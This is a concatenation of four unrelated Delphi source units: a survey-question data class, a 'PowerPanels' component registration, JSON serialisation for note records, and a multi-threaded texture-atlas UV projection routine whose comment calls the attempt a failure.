unit DQCommon; interface uses SysUtils, windows, Messages, Classes, Graphics, Controls, Forms, Menus, StdCtrls, DBCtrls, Dialogs; type { TSection = class(TPersistent) protected LangID: Integer; Section_ID: Integer; TabOrder: String[5]; Description: String[60]; SampleType: Integer; PageSize: Integer; ScalePosition: Integer; ScaleWidth: Integer; ScaleHeight: Integer; end; TSubsection = class(TPersistent) protected LangID: Integer; Section_ID: Integer; Subsection_ID: Integer; Description: String[60]; end;} TQuestion = class(TPersistent) public Core: String[3]; Short: String[60]; Scale: Integer; HeadID: Integer; HShort: String[60]; QTextHeight: Integer; PageSize: Integer; ScalePosition: Integer; ScaleWidth: Integer; ScaleHeight: Integer; Name: String[15]; Section: Integer; Subsection: Integer; Language: Integer; Width: Integer; end; { TResponse = class(TShape) public Shape: String[60]; Left: String[60]; Scale: Integer; HeadID: Integer; HShort: String[60]; end;} implementation end.
unit Ppreg16; interface uses Classes, dsgnintf, ppmain, ppdb, ppext; procedure register; implementation procedure Register; begin RegisterComponents('PowerPanels', [TGlobalAttributes, TPowerPanel, TPPCap, TPPStatus, TPPEdit, TPPLabel, TPPTabbedNB, TPPTabsetAndNB, TPPListBox, TPPMemo, TPPOutLine, TPPStringGrid, TPPDrawGrid, TPPDirList, TPPFileList, TPPFileManager, TPPDBGrid, TPPDbGridAccess, TPPDBNav, TPPDBNavSplit]); RegisterClasses([TEditAligned, TPPDBNavLeft, TPPDBNavRight, TFilterBoxAligned, TDriveBoxAligned, TPPFilter, TPPDrive]); RegisterComponentEditor(TPowerPanel, TPowerPanelEditor); RegisterComponentEditor(TGlobalAttributes, TGlobalAttributesEditor); RegisterPropertyEditor(TypeInfo(TAboutPowerPanel), TPowerPanel, 'About', TAboutPowerPanel) end; end.
unit NoteTypesU; interface uses System.JSON; type TNote = record private FTitle: string; FText: string; public constructor Create(const ATitle, AText: string); property Title: string read FTitle write FTitle; property Text: string read FText write FText; end; TNoteJSON = class public class function JSONToNote(const AJSON: TJSONValue): TNote; static; class function JSONToNotes(const AJSON: TJSONArray): TArray<TNote>; static; class procedure NotesToJSON(const ANotes: TArray<TNote>; const AJSON: TJSONArray); static; class procedure NoteToJSON(const ANote: TNote; const AJSON: TJSONObject); static; end; implementation uses System.Generics.Collections; { TNote } constructor TNote.Create(const ATitle, AText: string); begin FText := AText; FTitle := ATitle; end; class function TNoteJSON.JSONToNote(const AJSON: TJSONValue): TNote; begin Result := TNote.Create(AJSON.GetValue<string>('title', ''), AJSON.GetValue<string>('text', '')); end; class procedure TNoteJSON.NoteToJSON(const ANote: TNote; const AJSON: TJSONObject); begin AJSON.RemovePair('title'); AJSON.RemovePair('text'); AJSON.AddPair('title', ANote.Title); AJSON.AddPair('text', ANote.Text); end; class function TNoteJSON.JSONToNotes(const AJSON: TJSONArray): TArray<TNote>; var LValue: TJSONValue; LList: TList<TNote>; begin LList := TList<TNote>.Create; try for LValue in AJSON do LList.Add(TNoteJSON.JSONToNote(LValue)); Result := LList.ToArray; finally LList.Free; end; end; class procedure TNoteJSON.NotesToJSON(const ANotes: TArray<TNote>; const AJSON: TJSONArray); var LNote: TNote; LJSONObject: TJSONObject; begin for LNote in ANotes do begin LJSONObject := TJSONObject.Create; NoteToJSON(LNote, LJSONObject); AJSON.Add(LJSONObject); end; end; end.
unit TextureAtlasExtractorOrigamiMT; // Multi-thread attempt... that failed. It was slower than the original Texture // Atlas Extractor due to the massive amount of threads created (8 per face). interface uses BasicMathsTypes, BasicDataTypes, TextureAtlasExtractorOrigami, MeshPluginBase, NeighborDetector, Math, IntegerList, VertexTransformationUtils, Math3d, NeighborhoodDataPlugin, SysUtils, Mesh, TextureAtlasExtractorBase; {$INCLUDE source/Global_Conditionals.inc} type CTextureAtlasExtractorOrigamiMT = class (CTextureAtlasExtractorOrigami) protected // Aux functions function IsValidUVPoint(const _Vertices: TAVector3f; const _Faces : auint32; var _TexCoords: TAVector2f; _Target,_Edge0,_Edge1,_OriginVert: integer; var _CheckFace: abool; var _UVPosition: TVector2f; _CurrentFace, _PreviousFace, _VerticesPerFace: integer): boolean; override; end; implementation uses GlobalVars, TextureGeneratorBase, DiffuseTextureGenerator, MeshBRepGeometry, GLConstants, ColisionCheck; function CTextureAtlasExtractorOrigamiMT.IsValidUVPoint(const _Vertices: TAVector3f; const _Faces : auint32; var _TexCoords: TAVector2f; _Target,_Edge0,_Edge1,_OriginVert: integer; var _CheckFace: abool; var _UVPosition: TVector2f; _CurrentFace, _PreviousFace, _VerticesPerFace: integer): boolean; var EdgeSizeInMesh,EdgeSizeInUV,Scale,SinProjectionSizeInMesh,SinProjectionSizeInUV,ProjectionSizeInMesh,ProjectionSizeInUV: single; EdgeDirectionInUV,PositionOfTargetAtEdgeInUV,SinDirectionInUV: TVector2f; EdgeDirectionInMesh,PositionOfTargetAtEdgeInMesh: TVector3f; SourceSide: single; ColisionUtil : CColisionCheck; begin Result := false; ColisionUtil := CColisionCheck.Create; // Get edge size in mesh EdgeSizeInMesh := VectorDistance(_Vertices[_Edge0],_Vertices[_Edge1]); if EdgeSizeInMesh > 0 then begin // Get the direction of the edge (Edge0 to Edge1) in Mesh and UV space EdgeDirectionInMesh := SubtractVector(_Vertices[_Edge1],_Vertices[_Edge0]); EdgeDirectionInUV := SubtractVector(_TexCoords[_Edge1],_TexCoords[_Edge0]); // Get edge size in UV space. EdgeSizeInUV := Sqrt((EdgeDirectionInUV.U * EdgeDirectionInUV.U) + (EdgeDirectionInUV.V * EdgeDirectionInUV.V)); // Directions must be normalized. Normalize(EdgeDirectionInMesh); Normalize(EdgeDirectionInUV); Scale := EdgeSizeInUV / EdgeSizeInMesh; // Get the size of projection of (Vertex - Edge0) at the Edge, in mesh ProjectionSizeInMesh := DotProduct(SubtractVector(_Vertices[_Target],_Vertices[_Edge0]),EdgeDirectionInMesh); // Obtain the position of this projection at the edge, in mesh PositionOfTargetatEdgeInMesh := AddVector(_Vertices[_Edge0],ScaleVector(EdgeDirectionInMesh,ProjectionSizeInMesh)); // Now we can use the position obtained previously to find out the // distance between that and the _Target in mesh. SinProjectionSizeInMesh := VectorDistance(_Vertices[_Target],PositionOfTargetatEdgeInMesh); // Rotate the edge in 90' in UV space. SinDirectionInUV := Get90RotDirectionFromDirection(EdgeDirectionInUV); // We need to make sure that _Target and _OriginVert are at opposite sides // the universe, if it is divided by the Edge0 to Edge1. SourceSide := Get2DOuterProduct(_TexCoords[_OriginVert],_TexCoords[_Edge0],_TexCoords[_Edge1]); if SourceSide > 0 then begin SinDirectionInUV := ScaleVector(SinDirectionInUV,-1); end; // Now we use the same logic applied in mesh to find out the final position // in UV space ProjectionSizeInUV := ProjectionSizeInMesh * Scale; PositionOfTargetatEdgeInUV := AddVector(_TexCoords[_Edge0],ScaleVector(EdgeDirectionInUV,ProjectionSizeInUV)); SinProjectionSizeInUV := SinProjectionSizeInMesh * Scale; // Write the UV Position _UVPosition := AddVector(PositionOfTargetatEdgeInUV,ScaleVector(SinDirectionInUV,SinProjectionSizeInUV)); _CheckFace[_PreviousFace] := false; Result := not ColisionUtil.Is2DTriangleColidingWithMeshMT(_UVPosition,_TexCoords[_Edge0],_TexCoords[_Edge1],_TexCoords,_Faces,_CheckFace); _CheckFace[_PreviousFace] := true; end; ColisionUtil.Free; end; end.